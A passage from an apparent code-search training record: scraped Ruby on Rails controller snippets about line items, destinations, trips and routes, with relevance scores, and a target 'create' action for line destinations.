"def show\n @service = Service.find(params[:id])\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { \n render :json => @service.to_json(:methods => [:polyline],:only => [:shipment]) \n }\n end\n end",
"def show\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order_line }\n end\n end",
"def show\n @destination = Destination.find(params[:id])\n setup_show_data\n\n client = TwitterHelper.get_client\n @twitter_data = client.search(\"to: #{@destination.city}, travel\", :result_type => \"recent\").take(3)\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @destination }\n end\n end",
"def range\n #@lines = Line.where(:no=> params[:id])\n line_range = params[:id].split(\"-\")\n @lines = Line.where(:no=>line_range[0]..line_range[1])\n line_op = Hash.new\n respond_to do |format|\n format.html #range.html.erb\n #format.json { render json: @lines }\n format.json {render :json => @lines.to_json(:only =>[:line, :stanza_id],:methods=>[:section,:runningno,:share_url])}\n #format.json {render :json => {:lines => @lines, :marker => line_op }}\n end\n end",
"def show\n @journey = Journey.find(params[:id])\n render json: @journey\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def show\n @route_line = RouteLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route_line }\n end\n end",
"def directions(user_address, end_address)\n directions_url = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/directions/json\",\n :query_values => {:origin => user_address,\n :destination => end_address,\n :sensor => false}\n ).to_s\n\n legs = JSON.parse(RestClient.get(directions_url))[\"routes\"][0][\"legs\"]\n\n directions = legs[0][\"start_address\"] + \"\\n\"\n steps = legs[0][\"steps\"]\n steps.each do |step|\n directions += \"#{Nokogiri::HTML(step[\"html_instructions\"]).text} \" +\n \"[#{step[\"distance\"][\"text\"]}]\\n\"\n end\n directions += legs[0][\"end_address\"]\nend",
"def show\n @tripJson = []\n @trip.segments.order(:order).each do |segment|\n locations = []\n segment.locations.order(:order).each do |location|\n locations << {:id => location.id, :lat => location.latitude, :lng => location.longitude }\n end\n @tripJson << {:id => segment.id, :transportation => segment.transportation, :locations => locations}\n end\n end",
"def single_line_trip( line, start_station, end_station )\n stations = @stations[ line ]\n if stations.index( start_station ) > stations.index( end_station )\n stations.reverse!\n end\n stations[stations.index( start_station )..stations.index( end_station )]\nend",
"def show\n @batting_line = BattingLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @batting_line }\n end\n end",
"def index\n #@destinations = Destination.all\n\n if params[:name]\n @destinations = Destination.find_all_by_name(params[:name])\n else\n @destinations = Destination.all\n end\n\n @json = @destinations.to_gmaps4rails do |destination, marker|\n marker.infowindow render_to_string(:partial => \"/destinations/infowindow\",\n :locals => { :destination => destination})\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @destinations }\n end\n end",
"def get_destinations(opts = {})\n data, _status_code, _headers = get_destinations_with_http_info(opts)\n data\n end",
"def show\n @proxy_source = ProxySource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proxy_source }\n end\n end",
"def index\n @destination = Destination.new\n set_destinations\n end",
"def show\n @sample_line = SampleLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sample_line }\n end\n end",
"def show\n @lineitem = Lineitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def new\n @destination = @organism.destinations.new\n @destination.sector_id = @organism.sectors.first.id\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @destination }\n end\n end",
"def show\n @line_station = LineStation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_station }\n end\n end",
"def new\n @shipping_line = ShippingLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @shipping_line }\n end\n end",
"def show\n @item_line = ItemLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_line }\n end\n end",
"def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end",
"def trips\n flight = Flight.where(\"id = ?\", params[:id]).take\n if flight.nil?\n render :json => {errors: \"404\"}, :status => 404\n else\n respond_with( flight.trips )\n end\n end",
"def get_flights_costs(country)\n\tcoll = settings.db.collection(\"flights\")\n\tresult = {}\n\tflights = coll.find({\"origin_country\"=>country}).each { |row| result[row['id']] = row }\n\tputs result\n\tdestinations = result[\"destinations\"]\n\treturn destinations\nend",
"def show\n next_url = {}\n next_url = {next: {profile: \"http://#{my_address}:3000/pickup\", href: \"http://#{my_address}:3000/orders/pickup/#{@order.id}\", enctype: 'application/json'}} if @order.status == \"ready\"\n respond_to do |format|\n response_json = { drink: @order.drink, status: @order.status, additions: @order.additions, _links: next_url}\n format.json { render json: response_json, status: 200 }\n end\n end",
"def index\n @consultant_customer_destinations = ConsultantCustomerDestination.all\n end",
"def show\n @order = Order.find(params[:id])\n @line_bundles = @order.line_bundles\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def index\n\n @metro_lines = MetroLine.all\n\n render json: @metro_lines\n\n end",
"def show\n render json: @order_line_item\n end",
"def get_directions(start_point, end_point)\n user_direc = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"/maps/api/directions/json\",\n :query_values => {:origin => \"#{start_point}\",\n :destination => \"#{end_point}\",\n :sensor => \"false\",\n :mode => \"walking\"}\n )\n directions_json = RestClient.get(user_direc.to_s)\n JSON.parse(directions_json)\n end",
"def show\n @trip = Trip.find(params[:id])\n @markers = @trip.markers\n @gmaps_options = @markers.to_gmaps4rails\n\n @polylines_json = {}\n polylines = [] \n polylines[0] = []\n @trip.markers.each do |marker|\n polylines[0] += [{:lng=>marker.longitude.to_f, :lat=>marker.latitude.to_f}]\n end\n\n \n @polylines_json = polylines.to_json\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trip }\n end\n end",
"def index\n @subscriber = Subscriber.find(session[:subscriber_id])\n @shipping_addresses = @subscriber.shipping_addresses\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shipping_addresses }\n end\n end",
"def top_flight_destinations_with_http_info(apikey, period, origin, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.top_flight_destinations ...\"\n end\n # verify the required parameter 'apikey' is set\n fail ArgumentError, \"Missing the required parameter 'apikey' when calling DefaultApi.top_flight_destinations\" if apikey.nil?\n # verify the required parameter 'period' is set\n fail ArgumentError, \"Missing the required parameter 'period' when calling DefaultApi.top_flight_destinations\" if period.nil?\n # verify the required parameter 'origin' is set\n fail ArgumentError, \"Missing the required parameter 'origin' when calling DefaultApi.top_flight_destinations\" if origin.nil?\n # resource path\n local_var_path = \"/travel-intelligence/top-destinations\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'apikey'] = apikey\n query_params[:'period'] = period\n query_params[:'origin'] = origin\n query_params[:'number_of_results'] = opts[:'number_of_results'] if !opts[:'number_of_results'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TopDestinationsSearchResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#top_flight_destinations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\r\n @destination = Destination.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @destination }\r\n end\r\n end",
"def show\n @donation_line = DonationLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @donation_line }\n end\n end",
"def show\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @payment_line }\n end\n end",
"def index\n @line_station_2s = LineStation2.all\n end",
"def generate_routes\n\trequire 'csv'\n\tinclude HTTParty\n\trequire 'json'\n\tresponse = HTTParty.get('http://citppuc.cloudapp.net/api/lineas')\n\tbody = JSON.parse(response.body)\n\tCSV.open('csv/aplicacion/routes.csv', 'w') do |csv|\n\t\tbody.each do |item|\n\t\t\tputs \"Agragando ruta: \"+item[\"codigo_linea\"]\n\t\t\tcsv << [item[\"codigo_linea\"], 0, 'FFFFFF']\n\t\tend\n\tend\nend",
"def show\n @line = Line.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def plan_trip(origin_line,origin_stop,destination_line,destination_stop)\n if (origin_line === destination_line)\n final_line_stops = get_users_stops_by_line(origin_line,origin_stop,destination_stop)\n puts(\"#{$travel_instruction} #{origin_line} line: #{final_line_stops}\")\n puts(\"#{final_line_stops.length} stops in total.\")\n else\n origin_line_stops = get_users_stops_by_line(origin_line,origin_stop,$intersection_point)\n destination_line_stops = get_users_stops_by_line(destination_line,$intersection_point,destination_stop)\n puts(\"#{$travel_instruction} #{origin_line} line: #{origin_line_stops}.\")\n puts(\"Change at #{$intersection_point}.\")\n puts(\"#{$travel_change_over} #{destination_line_stops}.\")\n puts(\"#{origin_line_stops.concat(destination_line_stops).length} stops in total\")\n end\nend",
"def new\n @route_sheet = RouteSheet.new\n @route_sheet.out_date = Time.now\n 2.times{@route_sheet.destinations.build}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route_sheet }\n end\n end",
"def show\n @line = ReportingForms::Tanimoto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def index\n @line_details = LineDetail.all\n end",
"def new\n @destination = Destination.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @destination }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @line_items }\n end\n end",
"def show\n\n trip = Trip.find(params[:id])\n\n departureOrder = LineStation.find_by_station_id(trip.departureStation_id).order\n arrivalOrder = LineStation.find_by_station_id(trip.arrivalStation_id).order\n\n lineStations = LineStation.where(:order => departureOrder..arrivalOrder)\n lineStations = lineStations.where(:line_id => trip.line_id)\n if departureOrder < arrivalOrder\n lineStations.order('order ASC')\n else\n lineStations.order('order DESC')\n end\n\n times = Array.new\n currentTime = trip.beginTime\n lineStations.each do |ls|\n \n station = Station.find(ls.station_id)\n train = Train.find(trip.train_id)\n\n times << { :station => station, :time => currentTime.strftime('%H:%M') }\n\n timeElapsed = ls.distance.to_f / train.velocity\n currentTime = currentTime + timeElapsed.hours\n end\n\n render :json => { :trip => trip, :times => times }\n\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n render json: @line_items \n }\n end\n end",
"def shortest_paths(dest)\n position = dest\n final = {}\n analisados = {}\n route = []\n route << dest\n @previous['a'] = -1\n\n @nodes.each do |n|\n analisados[n] = false\n end\n analisados[position] = true\n\n while analisados(analisados)\n adyacentes(position, analisados).each do |n|\n if @distance[n] == (@distance[position] - graph[n][position])\n @previous[position] = n\n position = n\n route << n\n end\n analisados[n] = true\n end\n\n end\n route << 'a'\n route\n end",
"def show\n set_delivery_truck\n @myVehicles = Vehicle.where(\"truck_id LIKE ?\", params[:id])\n @delivery_truck.update(occupied_slots: @myVehicles.length)\n @waypoints = Array.new\n @distances = Array.new\n @directions = Array.new\n @destination;\n\n @myVehicles.each do |vehicle|\n ##Include only one of each destination \n @waypoints.push(vehicle.origin)\n @waypoints.push(vehicle.destination)\n end\n if @waypoints.empty?\n else\n ###Find furthest point for destination\n @waypoints.each do |wp|\n @directions.push GoogleDirections.new(@delivery_truck.origin, wp)\n @distances.push (@directions.last.distance_in_miles)\n end\n if @directions.any?\n @destination = @waypoints[@distances.index(@distances.max)]\n end\n end\n\n end",
"def destination(access_token:, params: {})\n ride_id = require_ride_id(params)\n resp = connection(access_token).put do |req|\n req.url \"/#{Api::VERSION}/rides/#{ride_id}/destination\"\n req.body = params\n end\n handle_response(resp)\n end",
"def create\n @shipping_line = ShippingLine.new(params[:shipping_line])\n\n respond_to do |format|\n if @shipping_line.save\n format.html { redirect_to @shipping_line, :notice => 'Shipping line was successfully created.' }\n format.json { render :json => @shipping_line, :status => :created, :location => @shipping_line }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @shipping_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n query = params[:q].presence || \"*\"\n @destinations = Destination.search(query)\n end",
"def new\n @destination = Destination.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @destination }\n end\n end",
"def show\n @flight = Flight.find(params[:id])\n render json: @flight\n end",
"def index\n @line_stations = LineStation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_stations }\n end\n end"
] |
[
"0.7482887",
"0.6237068",
"0.61015904",
"0.60569936",
"0.5915729",
"0.58515656",
"0.58382905",
"0.5801815",
"0.5801815",
"0.5791896",
"0.5774213",
"0.5772538",
"0.57684726",
"0.5734102",
"0.5708481",
"0.570423",
"0.56997836",
"0.5693602",
"0.5682124",
"0.56441486",
"0.5550258",
"0.55477947",
"0.5533316",
"0.55267024",
"0.5506536",
"0.5504395",
"0.54908353",
"0.5484914",
"0.54817784",
"0.5479575",
"0.54794353",
"0.5479403",
"0.54577863",
"0.54472405",
"0.5447062",
"0.5445845",
"0.5437677",
"0.5397929",
"0.5396448",
"0.5396241",
"0.5396241",
"0.5396241",
"0.5396241",
"0.5396241",
"0.5396241",
"0.5396241",
"0.53651977",
"0.5359207",
"0.5350084",
"0.5347067",
"0.5344301",
"0.53370905",
"0.53315544",
"0.5313737",
"0.531309",
"0.52993894",
"0.52900535",
"0.52886254",
"0.5282173",
"0.5274277",
"0.52613604",
"0.52479273",
"0.52393466",
"0.5215286",
"0.52049327",
"0.5203509",
"0.515542",
"0.5149401",
"0.5148921",
"0.5147971",
"0.5126112",
"0.5121786",
"0.5121619",
"0.51178885",
"0.5116556",
"0.5098679",
"0.5098279",
"0.5094353",
"0.5093187",
"0.508254",
"0.50750095",
"0.50721097",
"0.50721097",
"0.50721097",
"0.50721097",
"0.506468",
"0.505488",
"0.50540614",
"0.5051233",
"0.50480455",
"0.50467116",
"0.5046485",
"0.5042925",
"0.50322336",
"0.50277764",
"0.5025237",
"0.50212336",
"0.5014139",
"0.5009415",
"0.50063443",
"0.5003076"
] |
0.0
|
-1
|
POST /line_destinations POST /line_destinations.json
|
def create
destination = Destination.find(params[:destination_id])
@line_destination = @plan.add_destination(destination.id)
respond_to do |format|
if @line_destination.save
format.html { redirect_to @line_destination.plan, notice: 'Line destination was successfully created.' }
format.json { render :show, status: :created, location: @line_destination }
else
format.html { render :new }
format.json { render json: @line_destination.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @line_destinations = LineDestination.all\n end",
"def line_destination_params\n params.require(:line_destination).permit(:destination_id, :plan_id)\n end",
"def set_line_destination\n @line_destination = LineDestination.find(params[:id])\n end",
"def create\n @destination = Destination.new(destination_params)\n @destination.save\n set_destinations\n end",
"def update\n respond_to do |format|\n if @line_destination.update(line_destination_params)\n format.html { redirect_to @line_destination, notice: 'Line destination was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_destination }\n else\n format.html { render :edit }\n format.json { render json: @line_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shipping_line = ShippingLine.new(params[:shipping_line])\n\n respond_to do |format|\n if @shipping_line.save\n format.html { redirect_to @shipping_line, :notice => 'Shipping line was successfully created.' }\n format.json { render :json => @shipping_line, :status => :created, :location => @shipping_line }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @shipping_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @line_destination.destroy\n respond_to do |format|\n format.html { redirect_to line_destinations_url, notice: 'Line destination was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @line_item = @order.line_items.new(line_item_params)\n\n if @line_item.save\n render json: @line_item, status: :created, location: [@order, @line_item]\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def create\n @shipping_line = ShippingLine.new(shipping_line_params)\n\n respond_to do |format|\n if @shipping_line.save\n format.html { redirect_to @shipping_line, notice: \"Shipping line was successfully created.\" }\n format.json { render :show, status: :created, location: @shipping_line }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @shipping_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dest_params\n params.require(:destination).permit(:name, :date, :start_time, :end_time, :address, :date, :trip_id, :like_count)\n end",
"def create\n @storyline = Storyline.new(params[:storyline])\n @start_id = params[:start_id]\n rand_prev = params[:randomize].blank? ? nil : @storyline.prev\n @first_line, @storyline, lines, ids = insert_lines @storyline\n respond_to do |format|\n if @storyline.save\n format.js\n format.html { redirect_to storyline_path(@first_line, :prev_end => rand_prev), notice: 'Storyline was successfully created.' }\n format.json { render json: [@first_line], status: :created, location: @first_line }\n else\n format.js\n format.html { render action: \"new\" }\n format.json { render json: @storyline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_up = LineUp.new(line_up_params)\n\n respond_to do |format|\n if @line_up.save\n format.html { redirect_to @line_up, notice: 'Line up was successfully created.' }\n format.json { render :show, status: :created, location: @line_up }\n else\n format.html { render :new }\n format.json { render json: @line_up.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @itinerary = Itinerary.new(itinerary_params)\n @start_loc = Location.create(address: params[:start_loc], is_origin: true, itinerary_id: @itinerary.id)\n @end_loc = Location.create(address: params[:end_loc], is_origin: false, itinerary_id: @itinerary.id)\n @itinerary.locations.push(@start_loc)\n @itinerary.locations.push(@end_loc)\n\n respond_to do |format|\n if @itinerary.save\n format.html { redirect_to @itinerary, notice: 'Itinerary was successfully created.' }\n format.json { render :show, status: :created, location: @itinerary }\n\n # origin = @itinerary.locations.new( address: params[:origin], is_origin: true )\n # origin.get_coords\n\n # destination = @itinerary.locations.new( address: params[:destination], is_origin: false )\n # destination.get_coords\n\n else\n format.html { render :new }\n format.json { render json: @itinerary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line = Line.new(line_params)\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to @line, notice: \"Line was successfully created.\" }\n format.json { render :show, status: :created, location: @line }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @destination = Destination.new(params[:destination])\n @roadmap = Roadmap.find(params[:roadmap_id])\n \n if not validate_permission(@roadmap)\n return\n end\n\n @destination.start_date = Converters::to_date(params[:destination][:start_date])\n @destination.end_date = Converters::to_date(params[:destination][:end_date])\n @destination.roadmap = @roadmap\n\t\t@destination.planned_cost = Converters::currency_to_number(params[:destination][:planned_cost])\n\n respond_to do |format|\n if @destination.save\n flash[:notice] = 'O destino foi criado com sucesso!'\n format.html { redirect_to(:controller => \"roadmaps\", \n\t\t\t\t\t\t\t\t\t\t\t:action => \"show\", \n\t\t\t\t\t\t\t\t\t\t\t:id => @destination.roadmap.id\n\t\t\t\t\t\t\t\t\t\t ) }\n format.xml { render :xml => @destination, :status => :created, :location => @destination }\n else\n # Recarrega os estados e cidades\n load_states_and_cities(@destination)\n @roadmap = @destination.roadmap\n @destinations =@roadmap.destinations\n @vehicles = Vehicle.all\n @destinations = @roadmap.destinations\n \n format.html { render :action => \"new\" }\n format.xml { render :xml => @destination.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @line_liver = LineLiver.new(line_liver_params)\n\n respond_to do |format|\n if @line_liver.save\n format.html { redirect_to @line_liver, notice: 'Line liver was successfully created.' }\n format.json { render :show, status: :created, location: @line_liver }\n else\n format.html { render :new }\n format.json { render json: @line_liver.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add=(location)\n @destinations << location\n end",
"def create\n\t\trespond_with Destination.create(destination_params)\n\tend",
"def create\n @line_detail = LineDetail.new(line_detail_params)\n generate_id\n respond_to do |format|\n if @line_detail.save\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @line_detail }\n else\n format.html { render action: 'new' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @destination = @organism.destinations.new(params[:destination])\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to admin_organism_destinations_path(@organism),\n notice: \"L'activité #{@destination.name} a été créée.\" }\n \n format.json { render json: @destination, status: :created, location: @destination }\n else\n format.html { render action: \"new\" }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_line = OrderLine.new(params[:order_line])\n\n respond_to do |format|\n if @order_line.save\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render json: @order_line, status: :created, location: @order_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lineup = Lineup.new(params[:lineup])\n\n respond_to do |format|\n if @lineup.save\n format.html { redirect_to @lineup, notice: 'Lineup was successfully created.' }\n format.json { render json: @lineup, status: :created, location: @lineup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lineup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @origin = Origin.new(\n :latitude => trip_params[:origin][:latitude],\n :longitude => trip_params[:origin][:longitude]\n )\n @origin.save\n @destination = Destination.new(:address => trip_params[:destination][:address].concat(\" New York City\"))\n @destination.save\n @trip = Trip.new(:origin_id => @origin.id, :destination_id => @destination.id)\n @trip.save \n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip }\n format.json { render action: 'show', status: :created, location: @trip }\n else\n format.html { render action: 'new' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @route_line = RouteLine.new(params[:route_line])\n\n respond_to do |format|\n if @route_line.save\n format.html { redirect_to(@route_line, :notice => t('record_created')) }\n format.xml { render :xml => @route_line, :status => :created, :location => @route_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @route_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @line_station = LineStation.new(params[:line_station])\n\n respond_to do |format|\n if @line_station.save\n format.html { redirect_to @line_station, notice: 'Line station was successfully created.' }\n format.json { render json: @line_station, status: :created, location: @line_station }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_station.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.build(params[:payment_line])\n\n respond_to do |format|\n if @payment_line.save\n format.html { redirect_to([@payment_line.payment, @payment_line], :notice => 'Payment line was successfully created.') }\n format.json { render :json => @payment_line, :status => :created, :location => [@payment_line.payment, @payment_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @payment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @destination = Destination.new(params[:destination])\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to @destination, notice: 'Destination was successfully created.' }\n format.json { render json: @destination, status: :created, location: @destination }\n else\n format.html { render action: \"new\" }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @destination = Destination.new(destination_params)\n if params[:suggestion_id]\n Suggestion.destroy(params[:suggestion_id])\n end\n respond_to do |format|\n if @destination.save\n Destination.reindex\n format.html { redirect_to @destination, notice: 'Destination was successfully created.' }\n format.json { render :show, status: :created, location: @destination }\n else\n format.html { render :new }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def shipping_line_params\n params.require(:shipping_line).permit(:name)\n end",
"def create\n @sample_line = SampleLine.new(params[:sample_line])\n\n respond_to do |format|\n if @sample_line.save\n format.html { redirect_to @sample_line, notice: 'Sample line was successfully created.' }\n format.json { render json: @sample_line, status: :created, location: @sample_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sample_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_route(route, message)\n raise TypeError unless route.is_a? Route\n @changeset = @api.create_changeset(message, tags={'created_by'=>'ITCR'})\n ways_list = []\n nodes_list = create_node_list(route.path)\n\n until nodes_list.empty? # For node's maximum limit of a way\n way_nodes = nodes_list.take(MAX_NODES)\n nodes_list = nodes_list.drop(MAX_NODES)\n way_id = create_way(way_nodes)\n ways_list << way_id\n end\n\n relation = create_relation(ways_list) # Link ways to relation\n relation = add_stops(relation, route.stops) # Add bus stops to relation\n\n @api.save(relation, @changeset) # Save relation using the API\n puts 'Relation created succesfuly.'\n @api.close_changeset(@changeset)\n @changeset.id\n end",
"def line_detail_params\n params.require(:line_detail).permit(:title, :description, :line_id, :country_id)\n end",
"def create\n @destination = Destination.new(destination_params)\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to @destination, notice: 'Destination was successfully created.' }\n format.json { render json: @destination, status: :created, location: @destination }\n else\n format.html { render action: 'new' }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_line = ItemLine.new(params[:item_line])\n\n respond_to do |format|\n if @item_line.save\n format.html { redirect_to @item_line, notice: 'Item line was successfully created.' }\n format.json { render json: @item_line, status: :created, location: @item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_path(destination, knights_action, knights_path)\n visited_destinations << destination\n knights_path << { position: destination, source: knights_action }\n end",
"def line_params\n params.require(:line).permit(:next_node_id, :description)\n end",
"def create \n @line_item = LineItem.new(line_item_params)\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to '/line_items', notice: \"Line item was successfully created.\" }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_item = LineItem.new(params[:line_item])\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item, notice: 'Line item was successfully created.' }\n format.json { render json: @line_item, status: :created, location: @line_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destination_params\n params.require(:destination).permit(:location, :price, :trip_length, :weather, :agent_id)\n end",
"def add_route(station, line)\n Neo4j::Transaction.run do\n rel = Neo4j::Relationship.create(:route, self, station)\n rel[:distance] = 1.0\n rel[:line] = line\n end\n\n self\n end",
"def create\n @line = Line.new(line_params)\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to new_line_path, notice: 'Line was successfully created. 5 points are awarded to your score.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @route_sheet = RouteSheet.new\n @route_sheet.out_date = Time.now\n 2.times{@route_sheet.destinations.build}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route_sheet }\n end\n end",
"def destination(access_token:, params: {})\n ride_id = require_ride_id(params)\n resp = connection(access_token).put do |req|\n req.url \"/#{Api::VERSION}/rides/#{ride_id}/destination\"\n req.body = params\n end\n handle_response(resp)\n end",
"def create\n @relay_destination = RelayDestination.new(relay_destination_params)\n\n respond_to do |format|\n if @relay_destination.save\n format.html { redirect_to @relay, notice: 'Relay destination was successfully created.' }\n format.json { render :show, status: :created, location: [@relay, @relay_destination] }\n else\n format.html { render :new }\n format.json { render json: @relay_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
